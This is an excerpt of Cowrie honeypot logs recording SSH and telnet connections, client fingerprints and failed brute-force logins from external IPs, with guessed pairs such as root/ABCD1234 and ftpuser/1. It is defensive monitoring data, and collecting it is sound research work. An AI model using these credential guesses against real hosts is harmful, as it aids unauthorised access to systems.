{"eventid":"cowrie.login.failed","username":"gitblit","password":"gitblit","message":"login attempt [gitblit/gitblit] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T15:36:37.215582Z","src_ip":"198.98.55.71","session":"d6dd0c11280f","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.1","message":"Connection lost after 1.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T15:36:38.225165Z","src_ip":"198.98.55.71","session":"d6dd0c11280f","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"120.0","message":"Connection lost after 120.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T15:36:40.013046Z","src_ip":"47.239.15.75","session":"1f7a8e47edfa","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"92.204.138.187","src_port":40496,"dst_ip":"10.17.0.5","dst_port":23,"session":"ff526e0e7eac","protocol":"telnet","message":"New connection: 92.204.138.187:40496 (10.17.0.5:23) [session: ff526e0e7eac]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T15:36:51.538996Z"}
{"eventid":"cowrie.session.connect","src_ip":"45.58.127.90","src_port":59412,"dst_ip":"10.17.0.5","dst_port":23,"session":"69325415311d","protocol":"telnet","message":"New connection: 45.58.127.90:59412 (10.17.0.5:23) [session: 69325415311d]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T15:36:51.928728Z"}
{"eventid":"cowrie.session.closed","duration":30.792590618133545,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T15:36:54.044344Z","src_ip":"92.204.138.187","session":"984351122462","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"47.239.15.75","src_port":53570,"dst_ip":"159.203.135.109","dst_port":22,"session":"64872802360c","protocol":"ssh","message":"New connection: 47.239.15.75:53570 (159.203.135.109:22) [session: 64872802360c]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T15:36:55.199139Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T15:36:55.204075Z","src_ip":"47.239.15.75","session":"64872802360c","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T15:36:56.055944Z","src_ip":"47.239.15.75","session":"64872802360c","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":42.79823184013367,"message":"Connection lost after 42 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T15:36:57.312327Z","src_ip":"45.58.127.90","session":"f8a2aa500e0d","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"92.204.138.187","src_port":42972,"dst_ip":"10.17.0.5","dst_port":23,"session":"029ede6c50a1","protocol":"telnet","message":"New connection: 92.204.138.187:42972 (10.17.0.5:23) [session: 029ede6c50a1]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T15:36:59.300250Z"}
{"eventid":"cowrie.login.failed","username":"test2","password":"test2","message":"login attempt [test2/test2] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T15:37:02.790175Z","src_ip":"47.239.15.75","session":"64872802360c","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"9.4","message":"Connection lost after 9.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T15:37:04.599782Z","src_ip":"47.239.15.75","session":"64872802360c","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"45.58.127.90","src_port":60658,"dst_ip":"10.17.0.5","dst_port":23,"session":"fc6325415e61","protocol":"telnet","message":"New connection: 45.58.127.90:60658 (10.17.0.5:23) [session: fc6325415e61]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T15:37:05.105543Z"}
{"eventid":"cowrie.session.closed","duration":44.79015374183655,"message":"Connection lost after 44 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T15:37:07.179282Z","src_ip":"45.58.127.90","session":"8debead6bf8b","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"87.106.29.151","src_port":41706,"dst_ip":"159.203.135.109","dst_port":22,"session":"37bb9078e763","protocol":"ssh","message":"New connection: 87.106.29.151:41706 (159.203.135.109:22) [session: 37bb9078e763]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T15:37:16.599611Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T15:37:16.605917Z","src_ip":"87.106.29.151","session":"37bb9078e763","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T15:37:16.706702Z","src_ip":"87.106.29.151","session":"37bb9078e763","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"ABCD1234","message":"login attempt [root/ABCD1234] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T15:37:17.107595Z","src_ip":"87.106.29.151","session":"37bb9078e763","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.6","message":"Connection lost after 1.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T15:37:18.203888Z","src_ip":"87.106.29.151","session":"37bb9078e763","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":30.534412622451782,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T15:37:22.073297Z","src_ip":"92.204.138.187","session":"ff526e0e7eac","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"198.98.55.71","src_port":43312,"dst_ip":"159.203.135.109","dst_port":22,"session":"3fb9bee8bc53","protocol":"ssh","message":"New connection: 198.98.55.71:43312 (159.203.135.109:22) [session: 3fb9bee8bc53]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T15:37:29.197982Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T15:37:29.207570Z","src_ip":"198.98.55.71","session":"3fb9bee8bc53","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T15:37:29.213257Z","src_ip":"198.98.55.71","session":"3fb9bee8bc53","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"ftpuser","password":"1","message":"login attempt [ftpuser/1] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T15:37:29.266489Z","src_ip":"198.98.55.71","session":"3fb9bee8bc53","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":30.825074195861816,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T15:37:30.125189Z","src_ip":"92.204.138.187","session":"029ede6c50a1","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":"1.1","message":"Connection lost after 1.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T15:37:30.275146Z","src_ip":"198.98.55.71","session":"3fb9bee8bc53","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"98.70.48.241","src_port":35694,"dst_ip":"159.203.135.109","dst_port":22,"session":"167c98c4c8df","protocol":"ssh","message":"New connection: 98.70.48.241:35694 (159.203.135.109:22) [session: 167c98c4c8df]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T15:37:31.286470Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T15:37:31.291497Z","src_ip":"98.70.48.241","session":"167c98c4c8df","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T15:37:31.485778Z","src_ip":"98.70.48.241","session":"167c98c4c8df","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":40.24573254585266,"message":"Connection lost after 40 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T15:37:32.174342Z","src_ip":"45.58.127.90","session":"69325415311d","protocol":"telnet"}
{"eventid":"cowrie.login.failed","username":"anton","password":"test","message":"login attempt [anton/test] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T15:37:32.269624Z","src_ip":"98.70.48.241","session":"167c98c4c8df","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.2","message":"Connection lost after 2.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T15:37:33.460656Z","src_ip":"98.70.48.241","session":"167c98c4c8df","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"92.204.138.187","src_port":53446,"dst_ip":"10.17.0.5","dst_port":23,"session":"c90ae5e22899","protocol":"telnet","message":"New connection: 92.204.138.187:53446 (10.17.0.5:23) [session: c90ae5e22899]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T15:37:35.450058Z"}
{"eventid":"cowrie.session.closed","duration":38.85939264297485,"message":"Connection lost after 38 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T15:37:43.964947Z","src_ip":"45.58.127.90","session":"fc6325415e61","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.61577272415161,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T15:38:06.065721Z","src_ip":"92.204.138.187","session":"c90ae5e22899","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"87.106.29.151","src_port":33084,"dst_ip":"159.203.135.109","dst_port":22,"session":"2543e423e5ac","protocol":"ssh","message":"New connection: 87.106.29.151:33084 (159.203.135.109:22) [session: 2543e423e5ac]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T15:38:07.683973Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T15:38:07.688368Z","src_ip":"87.106.29.151","session":"2543e423e5ac","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T15:38:07.784040Z","src_ip":"87.106.29.151","session":"2543e423e5ac","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"sammy","password":"qwe123","message":"login attempt [sammy/qwe123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T15:38:08.187518Z","src_ip":"87.106.29.151","session":"2543e423e5ac","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.6","message":"Connection lost after 1.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T15:38:09.287651Z","src_ip":"87.106.29.151","session":"2543e423e5ac","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"45.58.127.90","src_port":34072,"dst_ip":"10.17.0.5","dst_port":23,"session":"9d9a87445077","protocol":"telnet","message":"New connection: 45.58.127.90:34072 (10.17.0.5:23) [session: 9d9a87445077]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T15:38:17.268692Z"}
{"eventid":"cowrie.session.connect","src_ip":"47.239.15.75","src_port":50484,"dst_ip":"159.203.135.109","dst_port":22,"session":"4e60f2b2f3e3","protocol":"ssh","message":"New connection: 47.239.15.75:50484 (159.203.135.109:22) [session: 4e60f2b2f3e3]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T15:38:17.612589Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T15:38:20.488225Z","src_ip":"47.239.15.75","session":"4e60f2b2f3e3","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T15:38:20.492574Z","src_ip":"47.239.15.75","session":"4e60f2b2f3e3","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"198.98.55.71","src_port":38598,"dst_ip":"159.203.135.109","dst_port":22,"session":"c953400a7410","protocol":"ssh","message":"New connection: 198.98.55.71:38598 (159.203.135.109:22) [session: c953400a7410]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T15:38:20.687894Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T15:38:20.694232Z","src_ip":"198.98.55.71","session":"c953400a7410","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T15:38:20.712665Z","src_ip":"198.98.55.71","session":"c953400a7410","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"1233211234","message":"login attempt [root/1233211234] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T15:38:20.769419Z","src_ip":"198.98.55.71","session":"c953400a7410","protocol":"ssh"}
